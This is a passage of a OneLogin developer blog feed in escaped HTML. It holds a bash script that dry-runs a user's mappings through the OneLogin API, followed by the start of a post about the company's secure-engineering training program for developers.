&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; read&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Enter the email address of user: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; EMAIL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span&gt;Get&lt;&#x2F;span&gt;&lt;span&gt; the&lt;&#x2F;span&gt;&lt;span&gt; Bearer&lt;&#x2F;span&gt;&lt;span&gt; Token&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;TK&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;curl&lt;&#x2F;span&gt;&lt;span&gt; https&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&amp;lt;subdomain&amp;gt;.onelogin.com&#x2F;auth&#x2F;oauth2&#x2F;v2&#x2F;token -H &amp;quot;Authorization: client_id:$ID, client_secret:$SSSH&amp;quot; -H &amp;quot;Content-type: application&#x2F;json&amp;quot; -d &amp;#39;{ &amp;quot;grant_type&amp;quot;:&amp;quot;client_credentials&amp;quot; }&amp;#39; 2&amp;gt;&#x2F;dev&#x2F;null  | jq -r &amp;#39;.access_token&amp;#39; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# &lt;&#x2F;span&gt;&lt;span&gt;resolve&lt;&#x2F;span&gt;&lt;span&gt; the&lt;&#x2F;span&gt;&lt;span&gt; user&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;s email address to id numbe&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;uid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;location&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;request&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; GET&lt;&#x2F;span&gt;&lt;span&gt; https&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&amp;lt;subdomain&amp;gt;.onelogin.com&#x2F;api&#x2F;2&#x2F;users?email=$1 --header &amp;quot;Authorization: Bearer $TK&amp;quot; 2&amp;gt;&#x2F;dev&#x2F;null |jq -r &amp;#39;.[] | .id&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;  The user ID is $uid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;if&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$uid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;then&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; # &lt;&#x2F;span&gt;&lt;span&gt;Get&lt;&#x2F;span&gt;&lt;span&gt; The&lt;&#x2F;span&gt;&lt;span&gt; Mapping&lt;&#x2F;span&gt;&lt;span&gt; list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; IFS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;location&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;request&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; GET&lt;&#x2F;span&gt;&lt;span&gt; https&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&amp;lt;subdomain&amp;gt;.onelogin.com&#x2F;api&#x2F;2&#x2F;mappings --header &amp;quot;Authorization: Bearer $TK&amp;quot; 2&amp;gt;&#x2F;dev&#x2F;null | jq -r --compact-output &amp;#39;.[] |{id: .id,name: .name,position: .position}&amp;#39; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  IFS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; read&lt;&#x2F;span&gt;&lt;span&gt; v1&lt;&#x2F;span&gt;&lt;span&gt; v2&lt;&#x2F;span&gt;&lt;span&gt; v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  mid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  nm&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; $v2&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; $v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; tr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;  Checking the mapping #&amp;#39;$pos&amp;#39;, name $nm (id:&amp;#39;$mid&amp;#39;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   # &lt;&#x2F;span&gt;&lt;span&gt;Check&lt;&#x2F;span&gt;&lt;span&gt; to&lt;&#x2F;span&gt;&lt;span&gt; see&lt;&#x2F;span&gt;&lt;span&gt; if&lt;&#x2F;span&gt;&lt;span&gt; mapping&lt;&#x2F;span&gt;&lt;span&gt; applies&lt;&#x2F;span&gt;&lt;span&gt; to&lt;&#x2F;span&gt;&lt;span&gt; user&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;header&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Content-Type: application&#x2F;json&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;header&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Authorization: Bearer $TK&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;location&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;request&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; POST&lt;&#x2F;span&gt;&lt;span&gt; https&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&amp;lt;subdomain&amp;gt;.onelogin.com&#x2F;api&#x2F;2&#x2F;mappings&#x2F;$mid&#x2F;dryrun  --data-raw &amp;quot;[$uid]&amp;quot; 2&amp;gt;&#x2F;dev&#x2F;null |jq &amp;#39;.[] |{x: .mapped}&amp;#39; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  # &lt;&#x2F;span&gt;&lt;span&gt;Output&lt;&#x2F;span&gt;&lt;span&gt; the&lt;&#x2F;span&gt;&lt;span&gt; results&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; of&lt;&#x2F;span&gt;&lt;span&gt; the&lt;&#x2F;span&gt;&lt;span&gt; test&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  if&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;~&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;true&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;    YES&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  elif&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;~&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;false&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;     no&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Could not resolve user $1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>How We Built a Successful Security Training Program for Developers</title>
        <published>2020-11-16T00:00:00+00:00</published>
        <updated>2020-11-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/security-training-devs/"/>
        <id>https://developers.onelogin.com/blog/security-training-devs/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/security-training-devs/">&lt;p&gt;&lt;em&gt;In this blog, we want to speak directly to our Security Team colleagues at other companies. We have similar challenges, and we’re not out to make Security to be some kind of “special sauce,” proprietary to OneLogin. We benefit from the knowledge-sharing you all do, and we share back, too.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Let’s talk about Secure Engineering training for developers. The easy answer is, “yes, let’s have some.” The harder questions come next: Make or buy? &lt;a href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;www-project-top-ten&#x2F;&quot; target=&quot;_blank&quot;&gt;OWASP Top 10&lt;&#x2F;a&gt;? What else? In this article, we’d like to talk about how we approached Secure Engineering training, what we prioritized, etc. We’d like to see if any of this resonates with you at your organization.&lt;&#x2F;p&gt;
&lt;p&gt;Our list of training requirements included:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Cover whatever your compliance obligations say to cover.&lt;&#x2F;li&gt;
&lt;li&gt;Also cover anything else you’ve found to be important, even if not in the “Top 10.”&lt;&#x2F;li&gt;
&lt;li&gt;Be time-efficient both for your engineers and your security team.&lt;&#x2F;li&gt;
&lt;li&gt;Reflect that people often need to hear something more than once before they retain it.&lt;&#x2F;li&gt;
&lt;li&gt;Withstand “press play and go to lunch” by the occasional folk.&lt;&#x2F;li&gt;
&lt;li&gt;Be maintainable and amenable to iteration. As you identify new topics, it should be easy to add them.&lt;&#x2F;li&gt;
&lt;li&gt;Be measurable.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;what-we-did&quot;&gt;What We Did&lt;&#x2F;h2&gt;
&lt;p&gt;OneLogin is using a combination of “make” AND “buy” to get the best of both worlds. Including some content we make ourselves ensures we can speak to the specifics of our technical architecture, how our organization operates, and so on. Including best-of-breed, off-the-shelf content specific to the languages and technologies we use at OneLogin likewise adds to that support.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-bits-we-made&quot;&gt;The Bits We Made&lt;&#x2F;h3&gt;
&lt;p&gt;We researched requirements for topics to cover by first understanding our compliance obligations (e.g. cover the OWASP Top 10). We then looked backward by going back through historical bug data to look for our own trends, even if those patterns aren’t common elsewhere. We also looked forward to new technology we knew was coming to our stack and bundled in advice for how to securely use that technology without waiting for JIRA to tell us it was necessary.&lt;&#x2F;p&gt;
&lt;p&gt;Once we had that list, we identified that we needed to cover more than just individual bug patterns and their mitigation. To be truly effective, training needs to be memorable and persuasive, not just a dry recitation of expectations. We dug up compelling examples from our own experience and the experiences of others.&lt;&#x2F;p&gt;
&lt;p&gt;We included material on adversary capabilities, tactics and techniques. We’ve all probably met a developer who will acknowledge the theoretical potential of a vulnerability but who will protest “but an attacker would have to be able to discover X or know Y.” Teaching engineers about open source intelligence, &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;OWASP&#x2F;Amass&quot; target=&quot;_blank&quot;&gt;Amass&lt;&#x2F;a&gt;, &lt;a href=&quot;https:&#x2F;&#x2F;www.certificate-transparency.org&#x2F;&quot; target=&quot;_blank&quot;&gt;Certificate Transparency&lt;&#x2F;a&gt;, &lt;a href=&quot;https:&#x2F;&#x2F;tools.kali.org&#x2F;web-applications&#x2F;dirbuster&quot; target=&quot;_blank&quot;&gt;Directory Busters&lt;&#x2F;a&gt;, &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Google_hacking&quot; 